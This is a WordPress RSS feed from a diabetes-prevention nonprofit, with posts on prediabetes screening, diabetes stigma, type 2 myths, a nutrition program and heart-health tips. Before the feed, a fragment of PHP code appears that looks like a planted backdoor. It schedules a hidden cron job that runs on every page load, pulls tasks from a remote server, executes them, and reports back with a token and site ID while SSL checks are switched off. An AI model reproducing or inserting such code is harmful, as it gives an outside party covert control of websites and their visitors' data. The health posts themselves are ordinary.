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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); prediabetes – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 16 Aug 2017 16:13:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp prediabetes – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Medical https://skinnygeneprojectnew.dreamsites.io/medical/ https://skinnygeneprojectnew.dreamsites.io/medical/#respond Wed, 16 Aug 2017 16:13:39 +0000 https://www.skinnygeneproject.org/?p=5178 California is facing a diabetic crisis, with 55% of adults and 23% of teens having type 2 diabetes or prediabetes. The problem is growing, with 1.9 million Californians expected to be diagnosed with diabetes in the next 5 years – along with an expected 15 billion extra healthcare costs. Last week, however, California took huge steps in the fight against diabetes. $5 million has been designated for diabetes prevention programs across the state, with coverage through Medicaid starting in 2018. This is great news for us at Skinny Gene, as the DPP is the core focus of what we do in the community. The bill, SB 97, is made with the expectation of another $8 million to be matched by the federal government in the coming years. Together, this $13 million is expected to save Californians $45 million a year that would have been associated with the immediate costs of diabetes. The important part about prevention is that besides the health benefits, the costs associated with it compared to treatment are substantially lower.

The acknowledgment and legislative commitment shown by California puts it in league with only two other states, Minnesota and Montana, as states that provide diabetes prevention programs as a Medicaid benefit. Daniel Zingale, senior vice president at the California Endowment, said, “What’s revolutionary about this change is that it finally starts to recognize that by investing modest amounts on the front end on prevention, we can save enormous amounts in the long term”. This change helps Skinny Gene to continue doing what we have been doing, and will allow roughly 25,000 prediabetics to receive DPP care every year through their insurance. The only requirements to benefit from this bill is to be overweight and have high blood sugar levels, so that the ones who receive care are those who need it most.

Designs By: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/medical/feed/ 0 New Partnership Revolutionizes Prediabetes Screenings https://skinnygeneprojectnew.dreamsites.io/skinny-gene-project-freedom-meditech-partnership-will-revolutionize-healthcare-screenings/ https://skinnygeneprojectnew.dreamsites.io/skinny-gene-project-freedom-meditech-partnership-will-revolutionize-healthcare-screenings/#respond Thu, 10 Jul 2014 19:46:33 +0000 http://skinnygeneproject.dreamhosters.com/?p=2194 The Skinny Gene Project has partnered with Freedom Meditech, a medical device company, to provide a revolutionary new kind of prediabetes healthcare screening. The Clearpath DS-120 is an FDA approved device that is non-invasive and has immediate results. Compared to other diabetes screenings, the Clearpath DS-120 does not involve drawing blood, or any discomfort for the patient.

ClearPath_DS_120

“97% of people with prediabetes are unaware they have this condition. By partnering with Freedom Meditech, our goal is to change this statistic.” – Marlayna Bolinger, Executive Director of the Skinny Gene Project

Screening for Prediabetes

Currently, 79 million Americans have a condition known as prediabetes, which generally precedes type 2 diabetes. People with prediabetes have blood sugar levels that are higher than normal, but not high enough for a diagnosis of diabetes. They are at higher risk for developing type 2 diabetes and other serious health problems, including heart disease, and stroke. Without lifestyle changes to improve their health, people with prediabetes will most likely develop full-blown type 2 diabetes within 5 – 7 years.

Since prediabetes and type 2 diabetes have no noticeable symptoms,  the disease is  commonly only diagnosed several years after its onset, when complications are already present.  The Clearpath DS-120 has the ability to detect prediabetes and early diabetes up to 7 years before complications begin.  Once a person’s risk has been determined, they can go to their primary care provider for a formal diagnosis. This information gives a person the opportunity to take the necessary actions to prevent the further development of type 2 diabetes and begin to restore their health.

The Clearpath DS-120 is revolutionizing prediabetes and early diabetes screenings, because with a 6 second, painless scan of the eye, a person will be able to understand their risk. Then, they have options on how to proceed. That’s putting the power of prevention back into the hands of the people.

Through the partnership, the Skinny Gene Project and Freedom Meditech are providing pre and post-screening education materials to be distributed to patients, including a “Next Steps” brochure to direct those at-risk to the appropriate professionals.  In San Diego, CA, the two organizations work together to provide prediabetes screenings in low-income communities that have an increased risk for diabetes.

Detecting Prediabetes

How does it work? The Clearpath DS-120 detects prediabetes by scanning the crystalline lens of the eye with a blue light to measure autofluorescence. Studies have shown that elevated autofluorescence measurements can be an indicator of glucose control, the body’s aging process and the presence of systemic disease.

Being able to identify risks of diabetes 7 years prior to complications is crucial in helping to detect and treat diabetes before it can affect an individual’s quality of life. Together, Skinny Gene Project and Freedom Meditech want to inform the public about the benefits of the Clearpath DS-120 and how its use will aid in diagnosing  undetected prediabetes and diabetes early on.

Since the first symptoms of diabetes to appear are usually related to the eye, the Clearpath DS-120 will be useful as part of a yearly check up at the eye doctor. The device could easily be implemented under a professional’s care during each visit, in addition to screenings for glaucoma and retinopathy.

By including the Clearpath DS-120 in Optometrist and Ophthalmologist offices, where patients receive an annual eye exam, we are not just increasing early detection screenings; we’re increasing the opportunity to prevent diabetes.

For more information about Freedom Meditech and their mission you can visit their website at: www.freedom-meditech.com.

About Skinny Gene Project

The Skinny Gene Project (a division of the J.Moss Foundation) is a 501(c)(3) non-profit organization dedicated to preventing diabetes. We help educate those who are at-risk; empower them with the resources, tools, and support needed to make healthy lifestyle changes; and teach them how to make the long-term social, environment, and behavioral changes needed to prevent the onset of type 2 diabetes.

If you at-risk for diabetes, please contact us today to see how we can help!

]]> https://skinnygeneprojectnew.dreamsites.io/skinny-gene-project-freedom-meditech-partnership-will-revolutionize-healthcare-screenings/feed/ 0 What She Did to Deserve Prediabetes https://skinnygeneprojectnew.dreamsites.io/what-she-did-to-deserve-prediabetes/ https://skinnygeneprojectnew.dreamsites.io/what-she-did-to-deserve-prediabetes/#respond Thu, 17 Nov 2011 20:26:19 +0000 http://skinnygeneproject.dreamhosters.com/?p=1357 I was recently having a conversation with a woman – let’s call her “Janie” – about the services we offer at the Skinny Gene Project, when she said something that really took me aback for a moment.  Janie said she had recently gone to the doctor and had been diagnosed with having prediabetes. But it was what she said after that, which really took me by surprise. 

Janie said, “Look at me, I’m not that overweight. I eat healthy. What did I do to deserve this?”

I paused for a second and looked at her. Janie was right.  The woman before me was an educated, middle-aged Caucasian woman with a very petite frame and average weight. She wasn’t at all the picture of prediabetes or diabetes that is often portrayed to the public. Janie was confused, and understandably so.

I went home and thought about our conversation. So many things about it bugged me, and I wanted to do something about it. 

Many people like to wait until the New Year to make some sort of resolution. I typically like to do self-reflection and set personal goals 3 times a year.  One of which is in November, when I create goals regarding how I can be a better advocate for diabetes prevention. 

Prior to my conversation with Janie, I was unsure what I wanted my November goal to be, but now I know.

I want to help others to … RE-THINK DIABETES

Diabetes and Prediabetes need what I’d call a little “rebranding” in the hearts and minds of people across the globe.

When I first found my passion for diabetes prevention in 2002, I was like the rest of them, trying to initiate action from fear. Then again, I was reacting to having just lost my Aunt to diabetes the previous year. But I believe that somewhere along the way the content became so doom and gloom that it robbed people of the desire to create change, like analysis paralysis.  Much of the public opinion has become – it’s such a big problem, and since change is too hard, we might as well accept it.

Now, I believe that the facts must be shared, and we must still do our job to help others to see that diabetes must be taken seriously, but we must also balance those fear–based tactics with ones of hope. Diabetes is preventable, and there are people and programs out there to help those in need of nutritional guidance and counseling.

If I were able to wipe the slate clean, and start fresh, I’d have two very important messages I’d like to share.

ONE:  With help, Die-abetes can actually be Live-abetes, or better yet… Preventa-betes

TWO: No one, and I mean no one, deserves to have diabetes.

I can’t count the number of times I’ve heard a statement or inference that someone “deserved diabetes”. Diabetes is the 5th deadliest disease, and kills more people than AIDS and breast cancer combined. I feel saying or implying that “diabetes is deserved” is both hurtful and belittling, and it implies that another person doesn’t have the same right to the quality or longevity of life.

The negative stigma surrounding type 2 diabetes is so strong that it’s causing those with type 1 to want to disassociate themselves from type 2.  One popular opinion is that those with type 2 brought it upon themselves.  Unfortunately, it is these negative associations that cause those with type 2 diabetes to want to “go into hiding” and not seek the support or medical care they need to control the disease, which can lead to a loss of life.

To this, I’d say, just like I would to any other bully, whether they are on the playground, in corporate America, or in the classroom – Stop it!

Yes, lifestyle choices can definitely increase a person’s risk for developing type 2 diabetes.  But, I’d also like to offer up an alternative perspective to consider. 

To me, the big culprits are also lack of information (e.g. how to read a label), access to nutritious foods, budgetary constraints, stress, psychological influences, and genetics.

Myth: If you are overweight or obese, you will eventually develop type 2 diabetes.

Fact:  Being overweight is a risk factor for developing this disease, but other risk factors such as family history, ethnicity and age also play a role. Unfortunately, too many people disregard the other risk factors for diabetes and think that weight is the only risk factor for type 2 diabetes.  Most overweight people never develop type 2 diabetes, and many people with type 2 diabetes are at a normal weight or only moderately overweight.

So instead of wagging fingers, let’s try to show a little compassion and extend a helping hand.

At this day in age, everybody knows at least one person with diabetes; you (or they) just might not know it yet.  You’d be amazed by how a little support can go a long way when it comes to diabetes prevention and management. 

Rethink diabetes, and decide to support those fighting to prevent or control diabetes.

ABOUT ME: My name is Marlayna. I’ve recently shared my story about why I chose to LIVE MY LIFE WITH INTENTION- my life’s journey towards becoming who I am today (click here to read it). I’m a mother, wife, friend, and a diabetes prevention advocate. I occassionally blog about living a healthy lifestyle.

 

(Disclaimer: The personal opinions expressed above do not necessary reflect those of Skinny Gene Project or J. Moss Foundation)

 

]]> https://skinnygeneprojectnew.dreamsites.io/what-she-did-to-deserve-prediabetes/feed/ 0 MYTH BUSTING:Type 2 Diabetes https://skinnygeneprojectnew.dreamsites.io/myth-bustingtype-2-diabetes/ https://skinnygeneprojectnew.dreamsites.io/myth-bustingtype-2-diabetes/#respond Mon, 08 Nov 2010 22:17:20 +0000 http://skinnygeneproject.com/?p=874 This November, during National Diabetes Awareness Month, we want to do a little MYTH BUSTING!! 

To start us off, we’re reposting this article from SELF/Nutrition Data.

6 Myths about Type 2 Diabetes

Monday, November 8, 2010 at 9:24 AM

diabetes.jpgNovember is Diabetes Awareness Month and with the number of adults and children with Type 2 Diabetes growing every year, I think we’ve all become more aware of this condition than we used to be.  Nonetheless, myths and misunderstandings about this largely preventable condition abound.


Myth #1   If I’m diabetic, I shouldn’t eat fruit.

It’s true that fruit contains carbohydrates and can affect blood sugar. But fruit can be a very healthy part of your diet, even if you are diabetic. Fruit contains valuable nutrients and fiber and has a milder effect on blood sugar than other types of sweets.  A healthy diabetic meal plan should contain two or three servings of whole fruit each day. Whole fruit is a better choice than processed fruits like applesauce, fruit cocktail, dried fruits, or fruit juice.

Myth #2  I only need to pay attention to carbohydrates, not protein or fat.Limiting carbohydrates will help keep your blood sugar levels in check but it’s also important to be sure that your total calorie intake is appropriate.  Eating too much protein or fat can lead to weight gain, which can accelerate diabetes.  Diabetics also have an increased risk of heart disease, so watching your saturated fat intake is also important. Find out how many calories you need.

Myth #3   Diabetics should eat a low carbohydrate diet.

Up until 1994, the American Diabetes Association recommended a diet of about 60% carbohydrates for all Type 2 diabetics. Some diabetics can achieve good blood sugar control on this type of diet. However, many studies have shown that low-carbohydrate and/or low-glycemic diets can be very effective in helping diabetics lose (or maintain) weight and improving insulin sensitivity.  The ADA now acknowledges that lower carbohydrate diets may be helpful in some patients and recommends that diets be individualized.  Read more about the glycemic index.

Myth #4   All Type 2 diabetics need to take insulin or other anti-diabetic drugs for life.

Not so!  Even if you are currently using insulin or anti-diabetic medications to manage your Type 2 diabetes, you may be able to reduce or even eliminate your need for drugs by losing weight, exercising, and sticking to your diet plan. (No-one should discontinue any medications without consulting their physician).

Myth #5  If I’m using insulin or antidiabetic medications, I can eat what I want.

Taking medications is not a substitute for eating right, exercising, and maintaining a healthy weight.  Do everything you can to manage your diabetes with healthy lifestyle habits–even if you are taking diabetes medication. The medications will work better, you’ll need to take less of them, and you’ll stay healthier in the long run.

Myth #6  People with “prediabetes” (or a family history of Type 2 diabetes) always eventually end up with full-blown Type 2 diabetes.

Not at all. If your doctor has told you that your blood sugar levels are “borderline” or that you have “prediabetes,” this is a wake-up call!  Get serious about losing weight, eating a healthy diet, and exercising and you can very likely avoid developing diabetes.  Having a family history of Type 2 diabetes also doesn’t mean that you will also get the disease. You’re in control!

…..

If you have been diagnosed with prediabetes and are interested in preventing the developing of type 2 diabetes, a member of our nutrition team would like to speak with you! Click here for a free session!

]]> https://skinnygeneprojectnew.dreamsites.io/myth-bustingtype-2-diabetes/feed/ 0 Your Body’s Talking, Are You Listening? https://skinnygeneprojectnew.dreamsites.io/your-bodys-talking-are-you-listening/ https://skinnygeneprojectnew.dreamsites.io/your-bodys-talking-are-you-listening/#respond Tue, 08 Jun 2010 04:12:52 +0000 http://skinnygene.wordpress.com/?p=419 Update (6/07): What’s happening with our Skinny Gene Diabetes Prevention Program in San Antonio

EVERYONE IS DIFFERENT AND SPECIAL IN THEIR OWN WAY

At the Skinny Gene Project, we provide a personalized approach to helping others live a healthier lifestyle. Each person in our program is special to us. We pride ourselves in getting to know each person (from stay at home moms to successful businesswomen), understanding their needs, and giving them the individualized attention needed to live a healthier life.

Our personalized approach to positive lifestyle change is particularly important when it comes to the wonderful group of people we’re serving in San Antonio.

Here’s a glimpse into the work we are doing in Texas.  

Every two weeks, I meet up with my patients for about an hour to talk to them about how to make little changes in their diet that can really make a BIG difference. This particular time, I began to teach each person how to listen and understand their body’s needs.

LESSON 1: LISTEN TO YOUR BODY

Previously, I had given each patient a task of completing a 7-day food log, to see what, when, where, and how much food they ate on a daily basis. I then compared their food diary to what their body REALLY needed. We generally refer to process as a nutrition analysis.

Now… knowing what a person needs to change, and explaining it to them are two completely different things. Some my next step was to give each person a personalized presentation on “Understanding And Listening To Your Body.”

As the presentation began, I started explaining different metaphors on how the body works. For example, comparing our bodies to a car. Much like how a car requires fuel to run, our bodies need food to function. Our body sends us signals when its fuel source is running too low or too full. We also talked about the body’s “fuel gauge”. So when our body is hungry, or may be close to (E) empty, we begin to experience symptoms such as dizziness, headaches, or grouchiness.  When the body can no longer take any food, just like when cars have reached (F) full, we may begin to feel symptoms such as being bloated, gassy, or tired. These metaphors make it easier to understand how the body works when compared to everyday life.

What we need to learn TODAY to have a healthier TOMMORROW  

After discussing how our metabolism works, I  began showing each person (individually) their total nutrition needs (calories, fat, sodium, carbohydrates, etc). Every patient was in SHOCK when they realized that what they had been eating was so harmful to their body, in comparison to what their body truly needs!  They were surprised about what they had learned, but they were also pumped up and knew they wanted to make some serious CHANGES in their lives.

APPLICATION: EATING BREAKFAST

After the presentation, each patient was weighed. They were given a diet that contained their specific caloric intake needs and their weight loss goal! Their main objective for the week was to concentrate on eating BREAKFAST— I taught them that it is the MOST important meal of the day!  I showed them examples of healthy breakfast options, whether they had time to cook or were on the go.  I also had the opportunity to go through a shopping list, which ranked foods from levels 1- 4; level 1 being foods you could eat several times a day, and level 4 foods you should eat very infrequently and with extreme caution.

Each patient was asked to bring any additional nutritional labels that they would like to be included in their special Skinny Gene grocery list for the next appointment. I really stressed the importance of drinking more water and trying to make exercise a daily habit. They left the clinic motivated and excited to start using the information that we provided to them.

Each of them wants to become a new person; they want to look good and feel good, on the inside and out. To make this transformation, they’re ready to start living a better and healthier life!  

By doing this I am helping them have a better understanding on what they need to do TODAY to have a healthier TOMMORROW.  

I am really excited to see my patients next week!

Stay tuned for more updates….

By: Nancy Juarez-Skinny Gene Bilingual Nutritionist

See more post about our program in San Antonio:

Great Things Happening For Skinny Gene in TX

Meet Nancy Juarez

]]> https://skinnygeneprojectnew.dreamsites.io/your-bodys-talking-are-you-listening/feed/ 0 Skinny People Have Problems Too https://skinnygeneprojectnew.dreamsites.io/skinny-people-have-problems-too/ https://skinnygeneprojectnew.dreamsites.io/skinny-people-have-problems-too/#respond Tue, 11 May 2010 03:59:45 +0000 http://skinnygene.wordpress.com/?p=248 Last month I had the pleasure of walking around Lake Miramar with a member of our Skinny Gene Family, we affectionately call her by her nickname –Yo.  We were chatting up a storm, really taking the time to get to know each other, and then it happened. She shared (as Oprah would call it) her A-ha moment, a realization that I felt couldn’t have been more brilliantly worded.

“Skinny people have problems too”

Five simple words that seemed to summarize so many conversations I’ve been having with people lately about the true value of being skinny.

Does being skinny really equate to having a better life?

Being a part of the Skinny Gene Project, my answer might surprise you. I’d say, “Not necessarily!” 

When I think about the desire to be skinny, I’m reminded of a scene from Jerry Maguire. In the scene Dorothy (Renée Zellweger) and her son Ray are sitting in coach on a plane. Dorothy leans into the aisle and looks longingly towards the people sitting in first-class. Then Ray says, “What’s wrong, mom?” To which Dorothy responds, “It used to be a better meal. Now it’s a better life.”

 [youtube=http://www.youtube.com/watch?v=qhW8ocAoLqc]

I feel that somewhere along the way, being skinny has become equated to riding in first class. Something that is afforded by or given to a few, while the rest of us have to sit near the stinky bathroom in coach.

Well, if this is the case, there are a couple of things I’d like you to consider about the people seated in first–class (or for this metaphor, being skinny). Having a first-class ticket doesn’t make it easier to pay their mortgage, and it won’t make them more likable (unless they bought you a ticket too).   Sitting in first-class won’t give you a better marriage, more friends, or get you that much deserved promotion.

Okay, it’s true. Sitting in first-class does have its perks; just like there are some benefits of being “skinny”.  It has been proven that losing weight and maintaining a healthy weight can reduce your risk of developing diabetes, heart disease, hypertension, some forms of cancer, etc. Having a healthy weight may also give you more energy to get out and live life.

But… before you buy into the idea of being “skinny”, and upgrade your ticket from coach to first-class, you may want to read the fine print so you know what you are getting.

Here’s what it might say…

Disclaimer (the First-class ticket’s fine print) – Being skinny is not necessarily the same thing as being healthy.  In fact there are ways of getting  “skinny”, like fad diets and quick weight loss schemes, that can damage the body and cause more harm than good. The key is to make healthier choices and to live a healthier lifestyle.

AND

Being skinny may not change the opinions, personality, or negative behavior of others (especially of those unworthy of having you in their life in the first place). It can only change YOU.  If your desire to be skinny is based on pleasing or seeking the approval of anyone else, please know you will most likely be dissatisfied with the final result.

The problem with putting so much emphasis on being “skinny”, is that it makes it seem somewhat unobtainable.  To get over this mental block, don’t focus on being skinny. Focus on you!

 

Don’t wait to be skinny to love yourself. Otherwise, you’ll have the same problems, just in a skinny body.

So why do we have the word “skinny” in our name (the Skinny Gene Project)? Our name comes from a rebuttal to an excuse we once heard about not being able to lose weight, claiming she couldn’t do it since she didn’t have a “Skinny Gene”.

 That was it! We decided to call the non-profit the Skinny Gene Project, as a way to display our mission to provide everyone with an equal opportunity to create the change they want to see in themselves.

We hope to rid our community of the “skinny”, first-class mentality and evolve more into Southwest Airlines’ open seating format. You see, we all have a Skinny Gene! With it comes the opportunity to choose a different seat or perspective.

So, my advise is to stop admiring others for what they have, and start by empowering yourself to take action from within.  You have a Skinny Gene, now you just have to decide to turn it on !

-MB, Skinny Gene Project Team

]]> https://skinnygeneprojectnew.dreamsites.io/skinny-people-have-problems-too/feed/ 0 Show Your Heart Some LOVE!! https://skinnygeneprojectnew.dreamsites.io/show-your-heart-some-love/ https://skinnygeneprojectnew.dreamsites.io/show-your-heart-some-love/#respond Wed, 24 Feb 2010 19:35:54 +0000 http://skinnygene.wordpress.com/?p=3 In honor of American Heart Month, here are 28 things you should do to improve the health of your heart.

  1. Trim the fat- Cut off the “white stuff”
  2. Choose the leanest cuts of meat you can find (try ground chicken or ground turkey)
  3. Reduce fat when cooking and bake, broil, grill and steam food
  4. Use low-fat dairy products, which can also slim your waistline
  5. Exercise your heart-try doing moderate intensity exercise for 30 minutes a day, five days a week
  6. Increase foods that are high in soluble fiber, which will helps to specifically lower cholesterol
  7. Find the fiber, read labels and look for foods with 2 or more grams of fiber per serving
  8. Eat at least three 1-ounce-equivalent of fiber-rich whole grains a day
  9. Get your 32 grams of fiber- it could shave off 10 pounds of yearly weight gain
  10. Reach for Fruits and Vegetables. You need at least 4.5 cups a day
  11. Go Fish, the American Heart Association  recommends 2 servings of fish (3.5 oz each) a week (Not fried, of course)
  12. Reach for foods with Omega-3 fatty acids. They can decrease risk of abnormal heartbeats), decrease triglyceride levels, and lower blood pressure (slightly)
  13. Try fatty fish like salmon, mackerel, herring, lake trout, sardines and albacore tuna, which are high in omega-3 fatty acids
  14. Pass on the added salt. High-sodium diets are linked to an increase in blood pressure and a higher risk for heart disease and stroke
  15. Uncover the hidden salt-  Major sources of sodium include: Tomato sauce, Soups,Condiments, Canned foods , and Prepared mixes
  16. Aim to eat less than 1,500 mg of sodium per day
  17. Am. Heart Assoc recommends that you stock up on heart-healthy cookbooks
  18. Make recipes or egg dishes with egg whites, instead of egg yolks.  Substitute two egg whites for each egg yolk. Egg yolks are high in cholesterol and fat
  19. Use reduced-fat, low-fat, light or no-fat salad dressings (if you need to limit your calories) on salads, for dips or as marinades
  20. Avoid using prepackaged seasoning mixes because they often contain a lot of salt.  Use fresh herbs whenever possible.  Grind herbs with a mortar and pestle for the freshest and fullest flavor
  21. Use liquid vegetable oils or non fat cooking sprays whenever possible
  22. Use the oils that are lowest in saturated fats, trans fats and cholesterol – such as canola oil, corn oil, olive oil, safflower oil, sesame oil, soybean oil and sunflower oil
  23. Stay away from coconut oil, palm oil and palm kernel oil.  Even though they are vegetable oils and have no cholesterol, they are high in saturated fats
  24. When stir frying, cook food in vegetable stock,wine or a small amount of oil.Avoid excessive use of high-sodium seasonings like teriyaki and soy sauce
  25. Use a rack when roasting, grilling, or broiling so the fat drips away from the food (and does not sit in it). Consider change your basting style.  Instead of basting with pan drippings, use fat-free liquids like wine, tomato juice or lemon juice
  26. Consider a different way to make grave. When making gravy from the drippings, chill first then use a gravy strainer or skim ladle to remove the fat
  27. Use a non stick vegetable spray to brown or saute foods. You can also use a small amount of broth or wine, or a tiny bit of vegetable oil rubbed onto the pan with a paper towel
  28. Steam vegetables in a basket over simmering water.  They will retain more flavors and will not need any salt

Your heart is important to us. A recent study indicates that prediabetes more than doubles the risk of death due to heart attack. Please take these 28 steps to improve the health of your heart.

 

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